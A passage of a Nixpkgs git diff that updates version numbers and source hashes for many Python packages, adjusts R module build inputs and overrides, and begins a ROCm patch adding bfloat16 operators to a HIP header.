-12,7 +12,7 @@ buildPythonPackage rec { pname = "xknxproject"; - version = "3.6.0"; + version = "3.7.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "XKNX"; repo = "xknxproject"; rev = "refs/tags/${version}"; - hash = "sha256-7WK4TgrTuUwR33d1N8+VmgZ6iylyfIJbFCyxh49luL0="; + hash = "sha256-tw/hHiiW4ZGlrbQmuIihJmhyIL++Rjpg6q8AdKNsn14="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/xml2rfc/default.nix b/pkgs/development/python-modules/xml2rfc/default.nix index 0bcbbdda09e04..a4d23e9580dda 100644 --- a/pkgs/development/python-modules/xml2rfc/default.nix +++ b/pkgs/development/python-modules/xml2rfc/default.nix @@ -27,7 +27,7 @@ buildPythonPackage rec { pname = "xml2rfc"; - version = "3.19.1"; + version = "3.20.0"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -36,7 +36,7 @@ buildPythonPackage rec { owner = "ietf-tools"; repo = "xml2rfc"; rev = "refs/tags/v${version}"; - hash = "sha256-kKbetvJDzvsUUWEYgFb7G86v9/Iiy49Wyl25p/zzBHo="; + hash = "sha256-w4wmjY+yA5Nc1roAXBRTqQxqaSI1vzdMhK9hGkbv7Rk="; }; postPatch = '' diff --git a/pkgs/development/python-modules/xmlschema/default.nix b/pkgs/development/python-modules/xmlschema/default.nix index f8752d5d2321a..5869ad70fcea1 100644 --- a/pkgs/development/python-modules/xmlschema/default.nix +++ b/pkgs/development/python-modules/xmlschema/default.nix @@ -6,12 +6,13 @@ , lxml , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "xmlschema"; - version = "3.0.1"; - format = "setuptools"; + version = "3.0.2"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -19,9 +20,13 @@ buildPythonPackage rec { owner = "sissaschool"; repo = "xmlschema"; rev = "refs/tags/v${version}"; - hash = "sha256-7gko4BFbTnQ+MpSQiGVaAldZcb1X16hinXaHg+nvPgs="; + hash = "sha256-jYFhoNx4Oxm7c0LsSQ0xw9fY/yxfQU5JoP5RteHzeYM="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ elementpath ]; diff --git a/pkgs/development/python-modules/xrootd/default.nix b/pkgs/development/python-modules/xrootd/default.nix index 626a5e46e4c4f..d17a56e2f914a 100644 --- a/pkgs/development/python-modules/xrootd/default.nix +++ b/pkgs/development/python-modules/xrootd/default.nix @@ -3,14 +3,14 @@ , cmake , setuptools , wheel -, pkgs +, xrootd }: buildPythonPackage rec { pname = "xrootd"; pyproject = true; - inherit (pkgs.xrootd) version src; + inherit (xrootd) version src; sourceRoot = "${src.name}/bindings/python"; @@ -21,7 +21,7 @@ buildPythonPackage rec { ]; buildInputs = [ - pkgs.xrootd + xrootd ]; dontUseCmakeConfigure = true; diff --git a/pkgs/development/python-modules/xsdata/default.nix b/pkgs/development/python-modules/xsdata/default.nix index 78bec78444c56..097c2e1cc07c4 100644 --- a/pkgs/development/python-modules/xsdata/default.nix +++ b/pkgs/development/python-modules/xsdata/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "xsdata"; - version = "24.1"; + version = "24.2.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -26,8 +26,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "tefra"; repo = "xsdata"; - rev = "v${version}"; - hash = "sha256-vdcCTJqvaRehGWfTd9GR/DypF9ftY4ite7SDMPc2Ups="; + rev = "refs/tags/v${version}"; + hash = "sha256-o3G0isXShwNHaOiA4TNml0IhStB3X4jB9CgrVKViBlY="; }; patches = [ @@ -94,7 +94,7 @@ buildPythonPackage rec { meta = { description = "Naive XML & JSON bindings for Python"; homepage = "https://github.com/tefra/xsdata"; - changelog = "https://github.com/tefra/xsdata/blob/${src.rev}/CHANGES.rst"; + changelog = "https://github.com/tefra/xsdata/blob/${src.rev}/CHANGES.md"; license = lib.licenses.mit; maintainers = with lib.maintainers; [ dotlambda ]; }; diff --git a/pkgs/development/python-modules/yalexs-ble/default.nix b/pkgs/development/python-modules/yalexs-ble/default.nix index b32403a6a97d7..93a16ea29f9b0 100644 --- a/pkgs/development/python-modules/yalexs-ble/default.nix +++ b/pkgs/development/python-modules/yalexs-ble/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "yalexs-ble"; - version = "2.4.1"; + version = "2.4.2"; format = "pyproject"; disabled = pythonOlder "3.9"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "bdraco"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-u6Mhqt6DcPiini8EvtqKoVAYUwb31hvWfCNb/sbqvWQ="; + hash = "sha256-A/4N3vmFuzg9vaPISs0P3KxRQZSquPpR1zYcYEePkTA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/yalexs/default.nix b/pkgs/development/python-modules/yalexs/default.nix index 02e72f9244fc4..304614488640b 100644 --- a/pkgs/development/python-modules/yalexs/default.nix +++ b/pkgs/development/python-modules/yalexs/default.nix @@ -13,22 +13,33 @@ , pythonOlder , requests , requests-mock +, setuptools }: buildPythonPackage rec { pname = "yalexs"; - version = "1.11.2"; - format = "setuptools"; + version = "2.0.0"; + pyproject = true; disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "bdraco"; - repo = pname; + repo = "yalexs"; rev = "refs/tags/v${version}"; - hash = "sha256-FHaHXbRtgbBrveHPbrPsP+vGIvscot3ilpPFucISces="; + hash = "sha256-ozohIzw80YfyB0sxXQ9MY6VpF+EDDvXZYfkpuloE4AU="; }; + postPatch = '' + # Not used requirement + substituteInPlace setup.py \ + --replace-fail '"vol",' "" + ''; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiofiles aiohttp @@ -46,12 +57,6 @@ buildPythonPackage rec { requests-mock ]; - postPatch = '' - # Not used requirement - substituteInPlace setup.py \ - --replace '"vol",' "" - ''; - pythonImportsCheck = [ "yalexs" ]; diff --git a/pkgs/development/python-modules/yamllint/default.nix b/pkgs/development/python-modules/yamllint/default.nix index c5664846dcfc5..9200d7d508acc 100644 --- a/pkgs/development/python-modules/yamllint/default.nix +++ b/pkgs/development/python-modules/yamllint/default.nix @@ -1,4 +1,5 @@ { lib +, stdenv , buildPythonPackage , fetchFromGitHub , setuptools @@ -6,21 +7,20 @@ , pytestCheckHook , pythonOlder , pyyaml -, stdenv }: buildPythonPackage rec { pname = "yamllint"; - version = "1.33.0"; - format = "pyproject"; + version = "1.35.1"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "adrienverge"; - repo = pname; + repo = "yamllint"; rev = "refs/tags/v${version}"; - hash = "sha256-hWN5PhEAhckp250Dj7h5PpyH/E1jCi38O4VmMYgPtzE="; + hash = "sha256-+7Q2cPl4XElI2IfLAkteifFVTrGkj2IjZk7nPuc6eYM="; }; nativeBuildInputs = [ @@ -46,7 +46,9 @@ buildPythonPackage rec { "test_run_with_locale" ]; - pythonImportsCheck = [ "yamllint" ]; + pythonImportsCheck = [ + "yamllint" + ]; meta = with lib; { description = "A linter for YAML files"; diff --git a/pkgs/development/python-modules/yara-python/default.nix b/pkgs/development/python-modules/yara-python/default.nix index cff5b329e6ca6..c386e5a565117 100644 --- a/pkgs/development/python-modules/yara-python/default.nix +++ b/pkgs/development/python-modules/yara-python/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "yara-python"; - version = "4.4.0"; + version = "4.5.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "VirusTotal"; repo = "yara-python"; rev = "v${version}"; - hash = "sha256-Fl/0ordXDKC1CBBmPx0fEwZZjqSiMxnwNvQqD98MjRo="; + hash = "sha256-RcrzzJQdzn+BXEp5M3ziGL6qSgfUN3wJ3JxwgjzVeuk="; }; # undefined symbol: yr_finalize diff --git a/pkgs/development/python-modules/yaspin/default.nix b/pkgs/development/python-modules/yaspin/default.nix index c90da30a746bc..0235c06ab1496 100644 --- a/pkgs/development/python-modules/yaspin/default.nix +++ b/pkgs/development/python-modules/yaspin/default.nix @@ -2,6 +2,7 @@ , buildPythonPackage , fetchFromGitHub , poetry-core +, pytest-xdist , pytestCheckHook , pythonOlder , termcolor @@ -30,13 +31,13 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ + pytest-xdist pytestCheckHook ]; - postPatch = '' - # https://github.com/pavdmyt/yaspin/pull/212 - substituteInPlace pyproject.toml \ - --replace 'termcolor-whl = "1.1.2"' 'termcolor = "*"' + # tests assert for \033 which gets turned off in termcolor when TERM dumb is used which is used by nix + preCheck = '' + export FORCE_COLOR=1 ''; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/yfinance/default.nix b/pkgs/development/python-modules/yfinance/default.nix index fb771047db112..06db089ca8356 100644 --- a/pkgs/development/python-modules/yfinance/default.nix +++ b/pkgs/development/python-modules/yfinance/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "yfinance"; - version = "0.2.36"; + version = "0.2.37"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "ranaroussi"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-oBpkWKQZ5FA+nyNWVOlRzoEyShCfh6SqCCrkFZBu1rQ="; + hash = "sha256-rptCZ4Yiz6VbV/woHN6JpRNsZL4SrqepoIw4tYpU4x0="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/yolink-api/default.nix b/pkgs/development/python-modules/yolink-api/default.nix index 5c155094cf644..e1e43b34a7ae6 100644 --- a/pkgs/development/python-modules/yolink-api/default.nix +++ b/pkgs/development/python-modules/yolink-api/default.nix @@ -11,16 +11,16 @@ buildPythonPackage rec { pname = "yolink-api"; - version = "0.3.7"; - format = "pyproject"; + version = "0.3.9"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "YoSmart-Inc"; - repo = pname; + repo = "yolink-api"; rev = "refs/tags/v${version}"; - hash = "sha256-P9Hu3JhoFDwKylTAZmXYX2AI2CPf/GbYhJCU4wX/aWY="; + hash = "sha256-RXO++8Dh0hLkjXev/WDhPixLHKXlqRabbrPW6Hs/xoM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/ytmusicapi/default.nix b/pkgs/development/python-modules/ytmusicapi/default.nix index 700a250130aa5..6f0d61b7c6429 100644 --- a/pkgs/development/python-modules/ytmusicapi/default.nix +++ b/pkgs/development/python-modules/ytmusicapi/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "ytmusicapi"; - version = "1.5.2"; + version = "1.5.4"; pyproject = true; disabled = pythonOlder "3.8"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "sigma67"; repo = "ytmusicapi"; rev = "refs/tags/${version}"; - hash = "sha256-3dJ9Mu1cblBJh3BVEyxdfO+RD8kSxpdvnvox7ljMWT4="; + hash = "sha256-Bg2Ikxkaq+dJkX842GCdIevgxULYSfE7s61YviqUln8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/zamg/default.nix b/pkgs/development/python-modules/zamg/default.nix index d43b0c4c779db..770764dde09db 100644 --- a/pkgs/development/python-modules/zamg/default.nix +++ b/pkgs/development/python-modules/zamg/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "zamg"; - version = "0.3.5"; + version = "0.3.6"; pyproject = true; disabled = pythonOlder "3.8"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "killer0071234"; repo = "python-zamg"; rev = "refs/tags/v${version}"; - hash = "sha256-lT345G0apo4ncM4FMs69+ql+QxvTlsEtG2KRX4oYvlo="; + hash = "sha256-j864+3c0GDDftdLqLDD0hizT54c0IgTjT77jOneXlq0="; }; postPatch = '' diff --git a/pkgs/development/python-modules/zha-quirks/default.nix b/pkgs/development/python-modules/zha-quirks/default.nix index f3fcfc74d4f55..f7e7c7f4f26ab 100644 --- a/pkgs/development/python-modules/zha-quirks/default.nix +++ b/pkgs/development/python-modules/zha-quirks/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "zha-quirks"; - version = "0.0.111"; + version = "0.0.112"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = "zha-device-handlers"; rev = "refs/tags/${version}"; - hash = "sha256-e2Ho/LBdnEKn7hgykhstjv8ZUYAn41e1+rsgA1MEmf4="; + hash = "sha256-wI7mpX6oFV/RrxH/UP1X9Odago0CxJ5dhjKAsDS+Sq4="; }; postPatch = '' @@ -43,6 +43,13 @@ buildPythonPackage rec { pytestCheckHook ]; + disabledTests = [ + # RuntimeError: no running event loop + "test_mfg_cluster_events" + "test_co2_sensor" + "test_smart_air_sensor" + ]; + pythonImportsCheck = [ "zhaquirks" ]; diff --git a/pkgs/development/python-modules/zigpy-deconz/default.nix b/pkgs/development/python-modules/zigpy-deconz/default.nix index 721905fb17b8a..930fcf0a7d2b8 100644 --- a/pkgs/development/python-modules/zigpy-deconz/default.nix +++ b/pkgs/development/python-modules/zigpy-deconz/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "zigpy-deconz"; - version = "0.23.0"; + version = "0.23.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-8U/3YzXyrQ6pOklvfuVFAk2r/mpcUM7HokfBJUhtyh4="; + hash = "sha256-10EyT3IGdAtF9OUbfZ5OtP+Ot35O0SfMDtsyw5FQ+/8="; }; postPatch = '' diff --git a/pkgs/development/python-modules/zigpy/default.nix b/pkgs/development/python-modules/zigpy/default.nix index 9038d29222d55..2b7060ddc223f 100644 --- a/pkgs/development/python-modules/zigpy/default.nix +++ b/pkgs/development/python-modules/zigpy/default.nix @@ -1,6 +1,7 @@ { lib , aiohttp , aiosqlite +, aioresponses , buildPythonPackage , crccheck , cryptography @@ -18,7 +19,7 @@ buildPythonPackage rec { pname = "zigpy"; - version = "0.62.3"; + version = "0.63.4"; pyproject = true; disabled = pythonOlder "3.8"; @@ -27,7 +28,7 @@ buildPythonPackage rec { owner = "zigpy"; repo = "zigpy"; rev = "refs/tags/${version}"; - hash = "sha256-LMcyYDUH/jGrDW8sjrT9kHdIWQ20fOOcOJRhUpKMGi8="; + hash = "sha256-0wenUUkhgodsBID+ZT9JRoJeGDTqAChAIpj+9/Q3FMM="; }; postPatch = '' @@ -51,6 +52,7 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ + aioresponses freezegun pytest-asyncio pytest-timeout diff --git a/pkgs/development/python-modules/zodbpickle/default.nix b/pkgs/development/python-modules/zodbpickle/default.nix index 38abffac75ac9..6d3c6ad0a5cec 100644 --- a/pkgs/development/python-modules/zodbpickle/default.nix +++ b/pkgs/development/python-modules/zodbpickle/default.nix @@ -6,14 +6,14 @@ buildPythonPackage rec { pname = "zodbpickle"; - version = "3.1"; + version = "3.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-uewy5wbHuAi3mlOnrZZgkRfpQoN3K0AO52VSEHqrzBE="; + hash = "sha256-65wO44mzJmqo9BlFtiqZgV0mH2nR9Cl3FQkSqmeWqww="; }; # fails.. diff --git a/pkgs/development/quickemu/default.nix b/pkgs/development/quickemu/default.nix index 576c827e84b08..c8893a4e06b2b 100644 --- a/pkgs/development/quickemu/default.nix +++ b/pkgs/development/quickemu/default.nix @@ -61,8 +61,8 @@ stdenv.mkDerivation rec { postPatch = '' sed -i \ - -e '/OVMF_CODE_4M.secboot.fd/s|ovmfs=(|ovmfs=("${OVMFFull.fd}/FV/OVMF_CODE.fd","${OVMFFull.fd}/FV/OVMF_VARS.fd" |' \ - -e '/OVMF_CODE_4M.fd/s|ovmfs=(|ovmfs=("${OVMF.fd}/FV/OVMF_CODE.fd","${OVMF.fd}/FV/OVMF_VARS.fd" |' \ + -e '/OVMF_CODE_4M.secboot.fd/s|ovmfs=(|ovmfs=("${OVMFFull.firmware}","${OVMFFull.variables}" |' \ + -e '/OVMF_CODE_4M.fd/s|ovmfs=(|ovmfs=("${OVMF.firmware}","${OVMF.variables}" |' \ -e '/cp "''${VARS_IN}" "''${VARS_OUT}"/a chmod +w "''${VARS_OUT}"' \ -e 's/Icon=.*qemu.svg/Icon=qemu/' \ quickemu diff --git a/pkgs/development/r-modules/default.nix b/pkgs/development/r-modules/default.nix index 48d6c19f269a5..3a13beb7e7898 100644 --- a/pkgs/development/r-modules/default.nix +++ b/pkgs/development/r-modules/default.nix @@ -328,6 +328,7 @@ let chebpol = [ pkgs.fftw.dev ]; ChemmineOB = with pkgs; [ openbabel pkg-config ]; curl = [ pkgs.curl.dev ]; + CytoML = [ pkgs.libxml2.dev ]; data_table = with pkgs; [ pkg-config zlib.dev ] ++ lib.optional stdenv.isDarwin pkgs.llvmPackages.openmp; devEMF = with pkgs; [ xorg.libXft.dev ]; diversitree = with pkgs; [ gsl fftw ]; @@ -342,11 +343,13 @@ let GLAD = [ pkgs.gsl ]; glpkAPI = with pkgs; [ gmp glpk ]; gmp = [ pkgs.gmp.dev ]; + GPBayes = [ pkgs.gsl ]; graphscan = [ pkgs.gsl ]; gsl = [ pkgs.gsl ]; gert = [ pkgs.libgit2 ]; haven = with pkgs; [ zlib.dev ]; h5vc = [ pkgs.zlib.dev ]; + highs = [ pkgs.which pkgs.cmake ]; HiCseg = [ pkgs.gsl ]; imager = [ pkgs.xorg.libX11.dev ]; iBMQ = [ pkgs.gsl ]; @@ -356,9 +359,12 @@ let jqr = [ pkgs.jq.dev ]; KFKSDS = [ pkgs.gsl ]; kza = [ pkgs.fftw.dev ]; + Libra = [ pkgs.gsl ]; + LOMAR = [ pkgs.gmp.dev ]; lpsymphony = with pkgs; [ pkg-config gfortran gettext ]; lwgeom = with pkgs; [ proj geos gdal ]; rvg = [ pkgs.libpng.dev ]; + MAGEE = [ pkgs.zlib.dev pkgs.bzip2.dev ]; magick = [ pkgs.imagemagick.dev ]; ModelMetrics = lib.optional stdenv.isDarwin pkgs.llvmPackages.openmp; mvabund = [ pkgs.gsl ]; @@ -369,6 +375,7 @@ let nloptr = with pkgs; [ nlopt pkg-config ]; n1qn1 = [ pkgs.gfortran ]; odbc = [ pkgs.unixODBC ]; + pak = [ pkgs.curl.dev ]; pander = with pkgs; [ pandoc which ]; pbdMPI = [ pkgs.mpi ]; pbdPROF = [ pkgs.mpi ]; @@ -398,7 +405,7 @@ let rjags = [ pkgs.jags ]; rJava = with pkgs; [ zlib bzip2.dev icu xz.dev pcre.dev jdk libzip ]; Rlibeemd = [ pkgs.gsl ]; - rmatio = [ pkgs.zlib.dev ]; + rmatio = [ pkgs.zlib.dev pkgs.pkg-config ]; Rmpfr = with pkgs; [ gmp mpfr.dev ]; Rmpi = [ pkgs.mpi ]; RMySQL = with pkgs; [ zlib libmysqlclient openssl.dev ]; @@ -425,7 +432,9 @@ let webp = [ pkgs.pkg-config ]; seqminer = with pkgs; [ zlib.dev bzip2 ]; sf = with pkgs; [ gdal proj geos libtiff curl ]; + strawr = with pkgs; [ curl.dev ]; terra = with pkgs; [ gdal proj geos ]; + apcf = with pkgs; [ geos ]; showtext = with pkgs; [ zlib libpng icu freetype.dev ]; simplexreg = [ pkgs.gsl ]; spate = [ pkgs.fftw.dev ]; @@ -443,6 +452,7 @@ let topicmodels = [ pkgs.gsl ]; udunits2 = with pkgs; [ udunits expat ]; units = [ pkgs.udunits ]; + vdiffr = [ pkgs.libpng.dev ]; V8 = [ pkgs.v8 ]; XBRL = with pkgs; [ zlib libxml2.dev ]; XLConnect = [ pkgs.jdk ]; @@ -462,6 +472,7 @@ let affyio = [ pkgs.zlib.dev ]; VariantAnnotation = with pkgs; [ zlib.dev curl.dev ]; snpStats = [ pkgs.zlib.dev ]; + vcfppR = [ pkgs.curl.dev pkgs.bzip2 pkgs.zlib.dev pkgs.xz]; hdf5r = [ pkgs.hdf5.dev ]; httpgd = with pkgs; [ cairo.dev ]; SymTS = [ pkgs.gsl ]; @@ -490,9 +501,10 @@ let RDieHarder = [ pkgs.gsl ]; QF = [ pkgs.gsl ]; PICS = [ pkgs.gsl ]; - RcppCWB = [ pkgs.pkg-config ]; + RcppCWB = [ pkgs.pkg-config pkgs.pcre2 ]; redux = [ pkgs.pkg-config ]; rrd = [ pkgs.pkg-config ]; + Rbwa = [ pkgs.zlib.dev ]; trackViewer = [ pkgs.zlib.dev ]; themetagenomics = [ pkgs.zlib.dev ]; NanoMethViz = [ pkgs.zlib.dev ]; @@ -505,6 +517,7 @@ let packagesWithBuildInputs = { # sort -t '=' -k 2 + asciicast = with pkgs; [ xz.dev bzip2.dev zlib.dev icu.dev ]; svKomodo = [ pkgs.which ]; nat = [ pkgs.which ]; nat_templatebrains = [ pkgs.which ]; @@ -525,6 +538,7 @@ let chebpol = [ pkgs.pkg-config ]; fftw = [ pkgs.pkg-config ]; gdtools = [ pkgs.pkg-config ]; + archive = [ pkgs.libarchive]; SuperGauss = [ pkgs.pkg-config pkgs.fftw.dev]; jqr = [ pkgs.jq.lib ]; kza = [ pkgs.pkg-config ]; @@ -582,6 +596,7 @@ let Signac = [ pkgs.zlib.dev ]; TransView = [ pkgs.zlib.dev ]; bigsnpr = [ pkgs.zlib.dev ]; + zlib = [ pkgs.zlib.dev ]; divest = [ pkgs.zlib.dev ]; hipread = [ pkgs.zlib.dev ]; jackalope = with pkgs; [ zlib.dev xz.dev ]; @@ -626,6 +641,7 @@ let redux = [ pkgs.hiredis ]; RmecabKo = [ pkgs.mecab ]; PoissonBinomial = [ pkgs.fftw.dev ]; + PoissonMultinomial = [ pkgs.fftw.dev ]; rrd = [ pkgs.rrdtool ]; flowWorkspace = [ pkgs.zlib.dev ]; RcppMeCab = [ pkgs.mecab ]; @@ -931,7 +947,7 @@ let cargoDeps = pkgs.rustPlatform.fetchCargoTarball { src = attrs.src; sourceRoot = "gifski/src/myrustlib"; - hash = "sha256-vBrTQ+5JZA8554Aasbqw7mbaOfJNQjrOpG00IXAcamI="; + hash = "sha256-e6nuiQU22GiO2I+bu0muyICGrdkCLSZUDHDz2mM2hz0="; }; cargoRoot = "src/myrustlib"; @@ -980,10 +996,18 @@ let preConfigure = "patchShebangs configure"; }); + Cyclops = old.Cyclops.overrideAttrs (attrs: { + preConfigure = "patchShebangs configure"; + }); + RcppParallel = old.RcppParallel.overrideAttrs (attrs: { preConfigure = "patchShebangs configure"; }); + gmailr = old.gmailr.overrideAttrs (attrs: { + postPatch = "patchShebangs configure"; + }); + purrr = old.purrr.overrideAttrs (attrs: { patchPhase = "patchShebangs configure"; }); @@ -1029,6 +1053,15 @@ let ''; }); + pathfindR = old.pathfindR.overrideAttrs (attrs: { + postPatch = '' + substituteInPlace "R/zzz.R" \ + --replace-fail " check_java_version()" " Sys.setenv(JAVA_HOME = \"${lib.getBin pkgs.jre_minimal}\"); check_java_version()" + substituteInPlace "R/active_snw_search.R" \ + --replace-fail "system(paste0(\"java" "system(paste0(\"${lib.getBin pkgs.jre_minimal}/bin/java" + ''; + }); + pbdZMQ = old.pbdZMQ.overrideAttrs (attrs: { postPatch = lib.optionalString stdenv.isDarwin '' for file in R/*.{r,r.in}; do @@ -1411,6 +1444,15 @@ let patchShebangs configure ''; }); + + pak = old.pak.overrideAttrs (attrs: { + preConfigure = '' + patchShebangs configure + patchShebangs src/library/curl/configure + patchShebangs src/library/pkgdepends/configure + patchShebangs src/library/ps/configure + ''; + }); }; in self diff --git a/pkgs/development/rocm-modules/5/clr/add-missing-operators.patch b/pkgs/development/rocm-modules/5/clr/add-missing-operators.patch new file mode 100644 index 0000000000000..64ac0c081a029 --- /dev/null +++ b/pkgs/development/rocm-modules/5/clr/add-missing-operators.patch @@ -0,0 +1,979 @@ +From 86bd518981b364c138f9901b28a529899d8654f3 Mon Sep 17 00:00:00 2001 +From: Jatin Chaudhary <JatinJaikishan.Chaudhary@amd.com> +Date: Wed, 11 Oct 2023 23:19:29 +0100 +Subject: [PATCH] SWDEV-367537 - Add missing operators to __hip_bfloat16 + implementation + +Add __host__ and __device__ to bunch of operator/function matching CUDA +Fix some bugs seen in __hisinf + +Change-Id: I9e67e3e3eb2083b463158f3e250e5221c89b2896 +--- + hipamd/include/hip/amd_detail/amd_hip_bf16.h | 533 ++++++++++++++++--- + 1 file changed, 446 insertions(+), 87 deletions(-) + +diff --git a/hipamd/include/hip/amd_detail/amd_hip_bf16.h b/hipamd/include/hip/amd_detail/amd_hip_bf16.h +index 757cb7ada..b15ea3b65 100644 +--- a/hipamd/include/hip/amd_detail/amd_hip_bf16.h ++++ b/hipamd/include/hip/amd_detail/amd_hip_bf16.h +@@ -96,10 +96,20 @@ + #if defined(__HIPCC_RTC__) + #define __HOST_DEVICE__ __device__ + #else ++#include <algorithm> + #include <climits> +-#define __HOST_DEVICE__ __host__ __device__ ++#include <cmath> ++#define __HOST_DEVICE__ __host__ __device__ inline + #endif + ++#define HIPRT_ONE_BF16 __float2bfloat16(1.0f) ++#define HIPRT_ZERO_BF16 __float2bfloat16(0.0f) ++#define HIPRT_INF_BF16 __ushort_as_bfloat16((unsigned short)0x7F80U) ++#define HIPRT_MAX_NORMAL_BF16 __ushort_as_bfloat16((unsigned short)0x7F7FU) ++#define HIPRT_MIN_DENORM_BF16 __ushort_as_bfloat16((unsigned short)0x0001U) ++#define HIPRT_NAN_BF16 __ushort_as_bfloat16((unsigned short)0x7FFFU) ++#define HIPRT_NEG_ZERO_BF16 __ushort_as_bfloat16((unsigned short)0x8000U) ++ + // Since we are using unsigned short to represent data in bfloat16, it can be of different sizes on + // different machines. These naive checks should prevent some undefined behavior on systems which + // have different sizes for basic types. +@@ -189,7 +199,7 @@ __HOST_DEVICE__ float2 __bfloat1622float2(const __hip_bfloat162 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Moves bfloat16 value to bfloat162 + */ +-__device__ __hip_bfloat162 __bfloat162bfloat162(const __hip_bfloat16 a) { ++__HOST_DEVICE__ __hip_bfloat162 __bfloat162bfloat162(const __hip_bfloat16 a) { + return __hip_bfloat162{a, a}; + } + +@@ -197,13 +207,13 @@ __device__ __hip_bfloat162 __bfloat162bfloat162(const __hip_bfloat16 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Reinterprets bits in a __hip_bfloat16 as a signed short integer + */ +-__device__ short int __bfloat16_as_short(const __hip_bfloat16 h) { return (short)h.data; } ++__HOST_DEVICE__ short int __bfloat16_as_short(const __hip_bfloat16 h) { return (short)h.data; } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Reinterprets bits in a __hip_bfloat16 as an unsigned signed short integer + */ +-__device__ unsigned short int __bfloat16_as_ushort(const __hip_bfloat16 h) { return h.data; } ++__HOST_DEVICE__ unsigned short int __bfloat16_as_ushort(const __hip_bfloat16 h) { return h.data; } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV +@@ -225,7 +235,7 @@ __HOST_DEVICE__ __hip_bfloat162 __float22bfloat162_rn(const float2 a) { + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Combine two __hip_bfloat16 to __hip_bfloat162 + */ +-__device__ __hip_bfloat162 __halves2bfloat162(const __hip_bfloat16 a, const __hip_bfloat16 b) { ++__HOST_DEVICE__ __hip_bfloat162 __halves2bfloat162(const __hip_bfloat16 a, const __hip_bfloat16 b) { + return __hip_bfloat162{a, b}; + } + +@@ -233,13 +243,13 @@ __device__ __hip_bfloat162 __halves2bfloat162(const __hip_bfloat16 a, const __hi + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Returns high 16 bits of __hip_bfloat162 + */ +-__device__ __hip_bfloat16 __high2bfloat16(const __hip_bfloat162 a) { return a.y; } ++__HOST_DEVICE__ __hip_bfloat16 __high2bfloat16(const __hip_bfloat162 a) { return a.y; } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Returns high 16 bits of __hip_bfloat162 + */ +-__device__ __hip_bfloat162 __high2bfloat162(const __hip_bfloat162 a) { ++__HOST_DEVICE__ __hip_bfloat162 __high2bfloat162(const __hip_bfloat162 a) { + return __hip_bfloat162{a.y, a.y}; + } + +@@ -253,7 +263,8 @@ __HOST_DEVICE__ float __high2float(const __hip_bfloat162 a) { return __bfloat162 + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Extracts high 16 bits from each and combines them + */ +-__device__ __hip_bfloat162 __highs2bfloat162(const __hip_bfloat162 a, const __hip_bfloat162 b) { ++__HOST_DEVICE__ __hip_bfloat162 __highs2bfloat162(const __hip_bfloat162 a, ++ const __hip_bfloat162 b) { + return __hip_bfloat162{a.y, b.y}; + } + +@@ -261,13 +272,13 @@ __device__ __hip_bfloat162 __highs2bfloat162(const __hip_bfloat162 a, const __hi + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Returns low 16 bits of __hip_bfloat162 + */ +-__device__ __hip_bfloat16 __low2bfloat16(const __hip_bfloat162 a) { return a.x; } ++__HOST_DEVICE__ __hip_bfloat16 __low2bfloat16(const __hip_bfloat162 a) { return a.x; } + + /** + * \ingroup HIP_INTRINSIC_BFLOAT162_CONV + * \brief Returns low 16 bits of __hip_bfloat162 + */ +-__device__ __hip_bfloat162 __low2bfloat162(const __hip_bfloat162 a) { ++__HOST_DEVICE__ __hip_bfloat162 __low2bfloat162(const __hip_bfloat162 a) { + return __hip_bfloat162{a.x, a.x}; + } + +@@ -281,7 +292,7 @@ 